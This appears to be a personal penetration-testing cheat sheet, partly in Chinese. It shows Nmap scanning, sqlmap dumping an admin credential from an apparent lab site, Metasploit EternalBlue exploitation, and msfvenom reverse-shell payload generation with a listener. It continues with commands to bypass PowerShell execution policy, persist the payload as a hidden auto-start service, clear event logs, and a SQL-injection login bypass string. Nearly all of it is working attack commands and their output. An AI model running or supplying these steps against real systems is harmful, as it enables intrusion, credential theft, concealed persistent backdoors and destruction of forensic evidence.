Exploit Tools

网站

・ https://en.fofa.info/
・ https://www.vulbox.com/
・ https://www.exploit-db.com/

NMAP

~]$ nmap -O 192.168.184.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 21:04 +0800
Nmap scan report for 192.168.184.131
Host is up (0.0018s latency).
Not shown: 989 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1099/tcp  open  rmiregistry
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49175/tcp open  unknown
MAC Address: 00:0C:29:37:A8:C7 (VMware)
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista|8.1
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.21 seconds

SQLMAP

~]$ sqlmap -u http://a5fa4ee523e3.target.yijinglab.com/article.php?id=1
...
sqlmap identified the following injection point(s) with a total of 79 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1502=1502

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 1521 FROM (SELECT(!SLEEP(5)))MOov)

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=-6769 UNION ALL SELECT NULL,CONCAT(0x717a627871,0x4f73784a66666f58427355587646724e514d704a437a5043764c4664656f6670784b4f7471744a70,0x71786b7671)-- -
---
[20:22:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12

~]$ sqlmap -u http://a5fa4ee523e3.target.yijinglab.com/article.php?id=1 --dbs
...
available databases [4]:
[*] company_website
[*] information_schema
[*] mysql
[*] performance_schema

~]$ sqlmap -u http://a5fa4ee523e3.target.yijinglab.com/article.php?id=1 -D company_website --tables
...
Database: company_website
[3 tables]
+---------------+
| articles      |
| company_intro |
| users         |
+---------------+

~]$ sqlmap -u http://a5fa4ee523e3.target.yijinglab.com/article.php?id=1 -D company_website -T users --dump
...
Database: company_website
Table: users
[1 entry]
+----+-----------+----------+
| id | password  | username |
+----+-----------+----------+
| 1  | ad@min123 | admin    |
+----+-----------+----------+

MSF

永恒之蓝

~]$ msfconsole

msf > search ms17_010
Matching Modules
================

   #   Full Name                                      Disclosure Date  Rank     Check  Name
   -   ---------                                      ---------------  ----     -----  ----
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
...

msf > use 2
[*] Additionally setting TARGET => Windows 7
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > options
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.184.131
msf exploit(windows/smb/ms17_010_eternalblue) > run

木马

# 生成木马
~]$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.20 LPORT=4444 -f psh-reflection >1.ps1

# 开启监听
~]$ msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set lhost 192.168.184.20
> set lport 4444
> options
> run

# 临时允许当前会话执行脚本（关闭窗口后自动恢复）
PS C:\> Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force

# 执行木马
PS C:\> 1.ps1

# 伪装成服务
meterpreter > shell
C:\> sc create shell start= auto binPath= "cmd.exe /k powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Windows\1.ps1" obj= Localsystem
C:\> sc config TrustedInstaller binpath= "C:\Windows\1.ps1"
C:\> sc description "shell" "This is a shell."
C:\> sc config "shell" start= auto

# 隐藏服务
C:\> sc sdset shell "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

# 清除日志
C:\> clearev

万能密码漏洞

-1' or 1=1 #

BurpSuite